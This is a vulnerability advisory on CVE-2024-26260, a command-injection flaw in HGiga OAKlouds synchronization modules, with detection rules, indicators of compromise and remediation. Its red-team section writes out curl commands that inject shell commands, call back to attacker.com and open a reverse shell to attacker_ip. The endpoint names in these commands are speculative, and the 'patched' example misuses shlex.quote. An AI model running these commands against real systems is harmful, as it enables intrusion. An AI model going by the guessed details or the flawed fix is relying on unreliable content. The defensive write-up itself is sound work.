CVE-2024-26260

Executive Summary

CVE-2024-26260 is a critical OS Command Injection vulnerability in HGiga OAKlouds synchronization modules. The flaw allows unauthenticated remote attackers to inject arbitrary system commands via specific request parameters, leading to full remote code execution (RCE) on the affected server. With a CVSS score of 9.8, this vulnerability poses an extreme threat to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or patch is currently available, making proactive detection and mitigation essential.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, enabling complete server compromise.

Deep Dive & Mechanics

The vulnerability resides in the synchronization functionality of HGiga OAKlouds modules. The application fails to properly sanitize user-supplied input passed to system-level commands during synchronization processes. An attacker can craft HTTP requests with malicious payloads in specific parameters (e.g., cmd, exec, or similar) that are directly concatenated into OS command strings. This allows injection of arbitrary commands such as ; id, | whoami, or $(cat /etc/passwd). The commands execute with the privileges of the web server process, typically root or a high-privilege user.

The root cause is the use of unsafe functions like system(), exec(), or popen() without input validation or escaping. The synchronization module likely passes user-controlled data directly to a shell interpreter.

Vulnerable vs. Patched Code

Since no patch or source code is publicly available, the following is a representative example of the vulnerable pattern:

Vulnerable Code (Conceptual):

import os
def sync_data(user_input):
    # Unsafe: user_input directly concatenated into command
    os.system("sync --source " + user_input)

Patched Code (Conceptual):

import subprocess
def sync_data(user_input):
    # Safe: input is sanitized and passed as arguments
    sanitized = shlex.quote(user_input)
    subprocess.run(["sync", "--source", sanitized], check=True)

The patched version uses parameterized execution and input quoting to prevent injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Target: HGiga OAKlouds instance (version unknown)
• Attacker: Kali Linux with curl and netcat

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /sync, /api/sync).
2. Inject command via parameter cmd:

curl -X POST "http://target/oaklouds/sync" \
  -d "cmd=;id"

3. Verify execution by observing response or out-of-band (OOB) callback:

curl -X POST "http://target/oaklouds/sync" \
  -d "cmd=;curl http://attacker.com/$(whoami)"

4. Establish reverse shell:

curl -X POST "http://target/oaklouds/sync" \
  -d "cmd=;bash -i >& /dev/tcp/attacker_ip/4444 0>&1"

No public exploit code is available.

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP requests to synchronization endpoints for unusual parameters containing shell metacharacters (;, |, $, `).
• Alert on outbound connections from the OAKlouds server to unknown IPs on non-standard ports.
• Use the YARA and Sigma rules below.

Hardening:

• Immediately isolate affected systems if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests with shell metacharacters in synchronization parameters.
• Restrict outbound traffic from the OAKlouds server to only necessary destinations.
• Apply principle of least privilege to the web server process.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /sync, /api/sync, or similar endpoints with parameters containing ;, |, $, `, &&, ||.
  • Outbound connections from the OAKlouds server to attacker-controlled IPs on ports 4444, 8080, or 80.
• File System IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., shell.sh, reverse.sh).
  • Modified system binaries or scripts in /usr/bin/ or /usr/local/bin/.
• Process IOCs:
  • Unusual child processes spawned by the web server (e.g., bash, sh, nc, curl, wget).
  • Processes running with elevated privileges (e.g., root shell).

Detection Engineering

YARA Rule

rule CVE_2024_26260_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting HGiga OAKlouds synchronization modules"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-26260"
    strings:
        $cmd1 = "cmd=" ascii wide nocase
        $cmd2 = "exec=" ascii wide nocase
        $cmd3 = "sync" ascii wide nocase
        $shell1 = /[;|`$]/ ascii wide
        $shell2 = /(whoami|id|cat|bash|sh|nc|curl|wget)/ ascii wide nocase
    condition:
        any of ($cmd*) and any of ($shell*)
}

Sigma Rule

title: CVE-2024-26260 HGiga OAKlouds OS Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with shell metacharacters in synchronization parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'cmd='
            - 'exec='
        cs-uri-query|re:
            - ';[a-z]'
            - '\|'
            - '\$'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in non-synchronization endpoints
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26260 HGiga OAKlouds OS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/sync"; http_uri; content:"cmd="; http_client_body; pcre:"/[;|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate all HGiga OAKlouds instances from untrusted networks until a patch is applied.
2. Implement WAF rules to block requests containing shell metacharacters in synchronization parameters.
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Apply vendor patch when released. If no patch is available, consider disabling the synchronization module or migrating to an alternative solution.
• Conduct a code review of the synchronization functionality to ensure input sanitization and use of safe APIs (e.g., subprocess with argument lists instead of shell commands).

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